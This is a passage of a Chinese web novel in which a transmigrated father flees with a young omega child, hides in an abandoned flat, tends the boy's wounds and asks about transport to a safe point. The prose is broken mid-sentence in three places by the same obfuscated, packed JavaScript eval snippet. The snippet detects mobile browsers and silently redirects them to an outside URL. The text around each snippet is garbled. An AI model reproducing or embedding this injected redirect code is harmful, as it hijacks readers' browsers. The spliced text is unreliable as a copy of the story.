诸珠靠着椅背,脑袋软软地歪到肩膀上,不知道他长得像谁,眼睫又密又长,垂下来跟小扇子似的。 他左边脸颊的中间有一颗很明显的小黑痣,此刻脸上脏兮兮的,把那颗小黑痣盖住了。 程书阑看了一会儿,这才意识到诸珠穿得不多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658304|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上只有一件毛衣,里面连打底的衣服都没有。 他脱下外套盖到诸珠身上。 外套对诸珠来说很大,下半截都拖到了地上,他将多余的部分折叠起来,一股脑地堆在诸珠身上。 外套的重量压得诸珠皱了皱眉,但那双紧闭的眼睛没有睁开,小孩艰难地翻身换了个姿势,脸颊挤在椅背上继续睡了过去。 旁边的女人被这粗糙的手法惊到,想说什么,视线在程书阑和诸珠之间转了一圈,又什么都没说。 她连程书阑和诸珠遇到了什么事也没问。 程书阑在超市里买了一个很大的背包,往里面塞了他和诸珠的换洗衣物以及生活用品和食物等,又把超市里所有昂贵的营养补充剂都拿干净了。 用帽子男的通讯器结账时,女人没有表现出任何异样,等程书阑准备收起通讯器,女人抬起眼皮。 “这不是你的通讯器吧?” 程书阑没有否认。 女人抱起双臂,徐徐开口:“通讯器的信用点在我们这种小店里面是可以随便刷的,在其他地方就不一定了,不知道你对我们这里了解多少,我可以给你提一个醒,在公共交通上和某些比较大的公共场合里,谨慎使用别人的通讯器,有些人的通讯器实名登记过,只要被发现使用者和登记者不是一个人,那些人就会当场把你扣下来。” 程书阑一愣。 他想起原主和帽子男的通讯器都无法联系通讯录以外的人,难道这就是实名登记过的原因? 不过原主的记忆中没有这一点。 实际上原主的很多记忆都有一点模糊,不知道是不是他和这具身体还没完全兼容的缘故。 女人的话也让他想起什么,他问:“我在这里使用了那个人的信用点,他会知道吗?” “如果是实名登记过的通讯器,那么会。”女人笃定地说,“实名登记过的通讯器都带定位功能,要是遗失了,可以直接查看定位,而且定位是实时更新的,除非通讯器坏掉或者没有信号。” 程书阑:“……” 女人见他沉默,说道:“如果你拿着棘手,我可以帮你处理掉这个通讯器,并且给你五百信用币。” 信用币是实体币,几乎不在内城流通,但在外城的使用率很高。 程书阑没多犹豫,点了点头:“麻烦你了。” 完后又说一句。 “对了,这个通讯器里有三十几万信用点。” 女人听懂了他的言外之意,笑了一声,解释道:“五百信用币只是买下通讯器的钱,里面的三十几万信用点可动不了,不信你来试试。” 说着,女人调出五千信用点的账单,对他比了一个手势。 程书阑拿着通讯器碰了一下柜台上的小圆片。 小圆片毫无反应。 程书阑翻过通讯器一看,上面居然弹出一层淡淡的蓝光,半透明的字体提示扫脸。 程书阑:“……” 女人补充道:“实名登记过的通讯器一般都会设置每日消费上限。” 程书阑却想到了他想用帽子男的信用点买诸珠的计划,要是计划顺利进行,那么在结账的时候,是不是也会露馅? 想到这些,他后知后觉地惊出一身冷汗。 拿了女人给的五百信用币,程书阑没多逗留,抱起被外套裹得严严实实的诸珠,转身离开超市。 8.精神力是什么? 程书阑浑身疲惫,迫切地想要找个地方休息,可留在这里肯定不行,要是那些人追上来,他和诸珠根本无处藏身。 眼下也不知道应该去哪儿,他只能尽量朝安全点的方向走。 第9城很大,从地图上看,更像是以前的一个省,由分布在各个地方的城市拼凑而成。 安全点的位置在第9城最南边,目前他在第9城中间偏北的地方,要去安全点的话,几乎是跨过了大半个第9城。 路途遥远啊! 程书阑已经恢复不少力气,却也架不住抱着诸珠一直走,何况他背上还有一个装得胀鼓鼓的背包。 走出一段距离,他停下来拍了拍怀里诸珠的背。 诸珠把脸埋在他的脖颈间,拍了好一会儿才有一点反应。 “爸爸……”诸珠含含糊糊地喊了一声。 “起来了。”程书阑说。 诸珠抬起头,露出一张已经变干净许多的小脸,左边脸颊上的小黑痣也露了出来,想也知道刚才往程书阑身上擦了多少灰尘。 但他困得厉害,眼皮重得睁不开,只能抬高下巴,眯缝着眼嘀咕:“好,爸爸……” “能自己下来走吗?” “能……” 程书阑弯腰把诸珠放到地上,结果小孩那两只穿着小皮鞋的脚刚落地,小身板就歪歪斜斜地往旁倒。 程书阑把人抓住:“站好。” “站好了,站好了……” 诸珠也吓了一跳,立即睁开眼睛,惊慌失措地四处瞧了瞧,然后赶紧抓住程书阑的手。 程书阑看诸珠身上的大衣在地上堆了半截,连走路都不方便,只好拿回来穿到自己身上。 他从背包里翻出一件小外套给诸珠穿上。 诸珠抬起双手,眼睛因太困而又开始要眯不眯,但视线始终追随程书阑的动作。 程书阑忙完一通,吐出口气,感觉照顾小孩真是太麻烦了。 他没有弟弟妹妹,和亲戚家的小孩来往也少,还是第一次这么费心费力地独自带孩子。 背上背包,他牵起诸珠的手:“走了。” 诸珠用力回握住他的手,仰起小脸:“爸爸,我们去哪里呀?” “找个地方休息。”程书阑说。 其实他也没有多少头绪,刚来这个世界,除了脑子里多出一部分原书的内容和原主的记忆外,他什么都没有,每走一步都像是在摸着石头过河。 他有考虑过找家旅馆休息,可转念一想,也不知道那些人的势力范围有多广,万一那些人已经和这里的旅馆打过招呼,那他岂不是自投罗网? 剩下的办法只有像之前一样,找个没人的地方暂时落脚。 好在他们一路走来,都有看到很多废弃楼房。 又走了一段距离,程书阑带着诸珠进了一片没人居住的矮楼,在巷子里拐了几道弯后,终于找到一家门没上锁且看上去没那么凌乱的屋子。 只是屋子废弃很久,门窗上的灰尘已经凝固成一块块斑驳的痕迹,地上也堆了厚厚一层,随着他们进去的脚步,尘土乱飞,诸珠被呛得直咳嗽。 程书阑弯腰伸手捂住诸珠口鼻,等诸珠咳嗽完了,说道:“自己捂着。” 诸珠点头,连忙有样学样地用双手紧紧捂住自己的下半张脸。 程书阑让诸珠在门口等着,自己进去逛了一圈,发现这个屋子的面积不大,一室一厅,目测不超过四十平方米,大多东西还在,但放置太久,显然不能用了。 他试着拧了一下卫生间里的水龙头,意料之中的没有出水。 回到外面,诸珠还在门口站着,保持着双手捂脸的姿势,一双大眼睛滴溜溜地跟着他转。 程书阑招手:“过来。” 诸珠朝他跑来。 程书阑放下背包,在里面掏了半天,掏出一大一小两个面罩,他和诸珠戴上刚好合适。 “今晚就睡这里了,可以吗?”程书阑蹲在地上,一边继续掏垫子一边对诸珠说。 诸珠点头如捣蒜:“只要和爸爸一起,我睡哪里都可以,我只想和爸爸一起。” 程书阑闻言,忍不住扭头看了看诸珠。 诸珠也一直目不转睛地盯着他,对上他的视线后,用歪了歪头的动作表示自己的疑惑。 程书阑想问一些事很久了,之前没找到机会,现在终于有时间好好整理思绪。 不过也不急于眼下。 他翻出一瓶水在地上洒了一些,看灰尘飞得没那么厉害了,便将垫子铺到地上。 垫子很薄,卷起来还没巴掌大,铺开了有一米多宽,再在上面铺上一层毯子,应该能将就一晚上。 他用毛巾给自己和诸珠简单擦洗了下,只脱了鞋,一大一小穿着衣服坐上毯子。 毯子很大,扯过一半还能当被子盖。 这会儿已是下午六点多,窗外的天色有了要黑的趋势,两人摘掉面罩,就水吃完一堆饼干和面包,并排躺下休息。 诸珠把脑袋枕在程书阑的一条手臂上,在他怀里拱来拱去,找到舒服的姿势后,才心满意足地抱住程书阑的腰。 程书阑颇不自在地动了动手臂。 诸珠一僵,立即紧张抬头。 “没事。”程书阑拍了拍他的背。 诸珠闻言,小心翼翼的表情这才有所放松。 程书阑还在想今天的事。 那几个人就是诸珠杀的吧?除了诸珠,也不可能是其他人了。 可诸珠能用精神力杀人? 在这个世界里,beta相当于以前的普通人,alpha和omega则都进化出了精神力,但ao的精神力大不一样,alpha的精神力偏向进攻、控制等方面,属于进攻型,omega的精神力偏向保护、治愈等方面,属于防守型,如果后天没有专门的老师教导也没有进行过专门的训练,alpha和omege很难在各自擅长的领域内往外延伸。 当然,延伸也需要精神力达到一定等级才行。 他非常确定诸珠是omega,一个只有四五岁大的omega,是怎么做到一个alpha才能做的事? “诸珠。”程书阑轻轻扯了一下诸珠的头发。 诸珠要睡不睡,半眯着眼抬头看他:“爸爸。” “今天上午我们在你被关的那个房间里,你还记得你是怎么做的吗?”程书阑看诸珠一脸茫然,尽量说得详 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662553|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细,“不是有几个人按着你吗?后来他们都倒下了,你仔细回忆一下,你是怎么做到的?” 诸珠绞尽脑汁地想了好一会儿,摇了摇头:“我不知道,我什么都没做。” 程书阑安静片刻,转而又问:“你知道精神力吗?” 诸珠口齿不清地说:“爸爸,精神力是什么呀?” 程书阑:“……” 好吧,对牛弹琴了。 眼看诸珠的眼睛又要合上,他赶紧又扯一下诸珠的头发。 诸珠被扯得脑袋往后仰了一下,眼皮下的眼珠左右晃动,挣扎许久,总算睁开眼睛。 “爸爸……” “你还记得你来这里前在哪儿吗?”程书阑问。 诸珠艰难地想了想,还是摇头:“我不记得了,我不知道我在哪里。” 程书阑盯着诸珠脸上的小黑痣看了一会儿,脑子里冷不丁浮现出原书的内容,他问:“你知道诸玉吗?” 诸玉就是原书里诸珠的omega爸爸。 “诸玉。”诸珠明显呆了一下,睫毛抖了抖,声音也低下去,“是爸爸……” 程书阑还想追问,可看诸珠情绪低落,到底没能再问出来。 他一边哄着诸珠入睡一边胡思乱想。 诸珠这个炮灰受在原书里的戏份很多,但原主和诸玉的出场次数就很少了,他总结下来,只知道原主和诸玉不是因相互喜欢而结婚,而是某天诸玉意外迎来发情期,碰巧遇到原主,两人受到影响产生深度结合,那次之后,诸玉有了诸珠,两家人不得不开始商量婚事。 然而原主和诸玉的感情并不好,也都不怎么重视诸珠这个孩子。 诸玉走得早,只剩原主独自抚养诸珠,原主不喜欢和诸玉长相相似的诸珠,经常对诸珠非打即骂。 所以诸珠长大后的性格会变得极度扭曲。 程书阑轻叹一声,面对现在只有四五岁的诸珠,他实在想象不出原书里那个心狠手辣、蛇蝎心肠的炮灰受也是诸珠。 “爸爸……”怀里传来诸珠的声音。 程书阑以为在喊自己,应了一声,结果低头一看,诸珠两眼紧闭,睡得很沉。 他索性也闭上眼。 睡觉睡觉。 睡梦中,诸珠感觉到自己在被一双手温柔地抱着,他窝在那个人怀里,鼻尖都是那个人身上清新的气味。 他仰头能看到对方白净的皮肤。 对方低头看他,五官模糊不清,但声音清润又柔和,带着绵绵笑意。 “我的珠珠,我的宝贝,你要好好长大,爸爸会一直陪着你。” 诸珠努力睁大眼睛,想看清楚那个人的长相,可除了左边脸颊上那颗小小的黑痣外,什么都看不到。 一觉睡到第二天下午。 程书阑醒来时,头痛得要命,他揉着太阳穴坐起来,瞥了一眼旁边睡得四仰八叉的诸珠,只觉筋疲力尽。 昨天晚上诸珠睡到一半突然大哭,嘴里一直喊着爸爸,想要爸爸,程书阑哄了半天不见效果,担心诸珠的哭声吸引来其他人,只好爬起来抱着诸珠在屋子里转来转去。 不知道转了多久,诸珠是安静了,可他人也快废掉了。 9.离开这里 休息了半个多小时,诸珠依然睡得死沉。 程书阑伸手在诸珠鼻下探了探。 有气。 他松了口气,反手把诸珠摇醒:“起来了。” 诸珠从毯子上爬起来,一副迷迷瞪瞪的样子,揉了半天眼睛,扭头冲着程书阑的背影喊了一声爸爸。 程书阑擦洗完脸,往毛巾上倒了水,对诸珠招手:“过来洗脸。” 诸珠起身就朝他跑。 程书阑忙说:“把鞋穿上!” 诸珠马上停下动作,听话地坐到毯子边缘开始穿鞋。 程书阑的目光从诸珠脚上掠过,刚收回,却又猛地一顿,他转头细看,眉头瞬间拧紧。 “等一下。”程书阑将手里的东西往背包上一搁,大步上前,蹲下身抓起诸珠的右脚。 扯开袜筒往里一看。 只见诸珠的脚腕上赫然印着一圈刺目的红痕,像是绳子勒出来的。 那痕迹不偏不倚,正好卡在袜口边缘,许是袜口反复摩擦伤处,那一圈皮肤已经微微肿起,泛着不自然的红。 难怪昨天诸珠走得那么慢。 程书阑检查了诸珠全身,居然忘记检查被绳子捆过的双脚了。 他连忙扯开诸珠左脚的袜筒,也有红痕,但看上去没有右脚的严重。 要不是白袜上渗出了一点血迹,他都不知道诸珠的脚腕上有伤。 想到昨天自己拉着诸珠走了那么久的路,程书阑心里懊恼不已,起身去翻背包里的药包。 给诸珠上药时,两人都没说话。 直到把药上完,程书阑才后知后觉地感受到诸珠的沉默,他抬头看去,发现那双大眼睛不知何时蒙上了一层水雾。 昨晚哭了太久,诸珠的眼睛本就红肿,这会儿看着跟两只泡过水的核桃似的。 诸珠涨红着脸,紧紧咬着下嘴唇,拼命不让自己发出一点声音。 “疼吗?”程书阑问。 话音刚落,大颗大颗的眼泪从诸珠眼里掉出来,啪嗒啪嗒地落在程书阑的手背上。 诸珠重重点了下头。 程书阑直接用手背抹掉诸珠脸上的泪痕,放轻声音说道:“怎么不跟我说?” 诸珠没忍住发出一声呜咽,抖着肩膀,打着哭嗝开口:“我……我怕爸爸嫌弃我……不要我了……” “我什么时候说过不要你了?” “你说过。”诸珠小声控诉,“你经常说要把我丢掉。” “……”程书阑一噎,估计都是原主说的,这下账都算在他头上了。 唉。 谁让他占了原主的身体。 “以后有哪里不对要及时告诉我,知道吗?”程书阑仔细叮嘱,“你这样忍着,伤也不会自己好,后面变严重了,会更加疼,你及时告诉我,我才能及时帮你处理,要是昨天处理了,说不定现在就不疼了。” 诸珠似懂非懂地点头:“我知道了,爸爸。” “别哭了。”程书阑说。 “我听爸爸的话,我不哭了!”诸珠用手胡乱抹了抹脸,然后顶着一双核桃眼朝程书阑挤出一抹讨好的笑。 程书阑揉了揉他的脑袋,帮他把袜子脱了,只穿着小皮鞋,把人牵到门口洗脸。 吃完东西,时间走到下午三点半,程书阑原本计划趁着天亮再走一段路,可现在诸珠脚上有伤,他没办法抱着诸珠走上太久。 而且他也不敢保证后面能找到这么合适的落脚地。 想来想去还是决定先缓一天。 卧室的门还能上锁,里面有一个掉了一半门的衣柜和一张靠墙的床,床下空间不大,正好可以爬进一个小孩。 程书阑把背包塞进床下,又把诸珠拉到床边,蹲下身说:“我等会儿要出去打听一些事情,你在这里等我,就在外面休息,但要是来人了,赶紧进来把门锁上,再躲到床底下。” 话音未落,诸珠扑到他身上,圈上他的脖子,急吼吼地说:“爸爸,我和你一起,我不要在这里!” “你的脚受伤了。” “我可以走!”诸珠害怕极了,有些语无伦次,“我能走好快,还能走好远,我比昨天的爸爸还能走!” “诸珠!”程书阑轻呵。 诸珠蓦地一静,犹如一下子被人按下静音键,抿紧嘴唇,只睁圆了一双水汪汪的眼睛。 程书阑深吸口气,说道:“你看我之前丢下你了吗?” 诸珠嘀咕:“没有。” “你在那么危险的地方,我都去找你了,好不容易把你带出来,我怎么可能又把你丢了?”程书阑说,“我向你发誓,不管发生什么事,我都不会丢下你,好吗?” 诸珠可怜兮兮地望着他。 “要是你脚上没伤,我就带你一起了,可你脚上有伤,要是遇到那些人,我还要抱着你跑,你觉得我们这样跑得过那些人吗?” 诸珠小幅度地摇了下头。 “所以你在这里等我,我打听完事情,立马回来。”程书阑指了一下床下,“再说东西都在这里,我还要回来拿呢。” 诸珠有些不情不愿,但还是答应了,把程书阑送到门口,他朝程书阑伸手。 程书阑以为小孩想说悄悄话,于是弯腰过去。 结果诸珠搂住他的脖子,偏头在他脸上用力亲了一口,发出一道响亮的啵声。 “爸爸,我等你回来。”诸珠说。 程书阑从七弯八拐的巷子绕出去,走到大街上,他找路人问了一下,一路打听到一个有点像车站的地方。 但确切地说,这里更像一片空地,只是上面零零散散地停了十来辆车。 基本上都是改装过的越野车,涂着五花八门的颜色,车头和车尾甚至改得奇形怪状。 有三四个人聚在一处聊天,瞧见程书阑后,冲他抬了抬下巴:“有事?” 程书阑在距离那些人两三米的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664244|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方停下来,扬声问道:“两个人去翠峰水库多少钱?” 翠峰水库就是第9城安全点的位置,那里曾是一个水源地,如今早已干涸,安全点就建在它东侧的废弃堤坝旁。 “翠峰水库?”其中一人朝程书阑走近半步,反问,“什么时候走?” “越早越好。”程书阑回。 “你急的话,现在就可以走。”那个人说,“不过赶夜路比走白路贵得多,价钱翻倍。” “多少钱?” 那个人伸出五根手指:“五千。” 程书阑:“……” 那个人看出了他的为难,转而又说:“这里去翠峰水库只要五个多小时,一个白天就能赶过去,没必要特意赶夜路,晚上碰到污染源,死的概率更大,如果你不赶时间,可以明天一早出发。” “明天走多少钱?” “三千。”那个人说,“算你两千吧,两个人一共四千,你刷信用点还是给信用币?” 程书阑:“……” 敢情那个人说的还是一个人的费用。 现在别说四千,他连一个人的两千都给不起。 那个人见他沉默,有点不耐烦了:“你到底走不走?” “走。”程书阑顿了一下,尴尬地说,“但我身上只有五百信用币。” 一时间,那个人也沉默了。 半晌,旁边一人噗嗤乐道:“我给你一个建议,你用五百信用币让他把你们拉到任务中心,随便找个小队跟着他们出几趟任务,把钱挣够了,就可以去翠峰水库了。” 程书阑问:“任务中心是什么?” “哈?”说话的人相当震惊,“你竟然不知道任务中心?” 程书阑当然不知道。 原主的记忆里没有这个。 “他应该是从其他地方过来的,不知道也正常。”倒是一开始的人说了一句,并解释道,“任务中心就是接任务的地方,里面提供各种各样的任务,完成即可获得报酬,但私人任务少,一般都给那些关系户了,很多都是去外面清理污染源的任务。” “别小看清理污染源的任务,报酬丰富着呢。”旁边的人补充道。 程书阑对几人说完谢谢,转身离开了空地。 走在回去的路上,他拿出通讯器看了看。 没有信号。 他都怀疑这个通讯器已经坏掉了。 眼下用通讯器求助的方法行不通,他只剩下一条去安全点求助的路。 可怎么过去是个大问题。 公共交通便宜,却需要用通讯器刷信用点,私人交通不需要刷信用点,却贵得离谱。 当然他也可以带着诸珠慢慢走过去。 只是三百公里的路…… 不知道要走到何年何月,估计还没走到安全点,他和诸珠就饿死在路上了。 想到这里,程书阑脚步一顿,纠结片刻,又转身朝空地方向走去。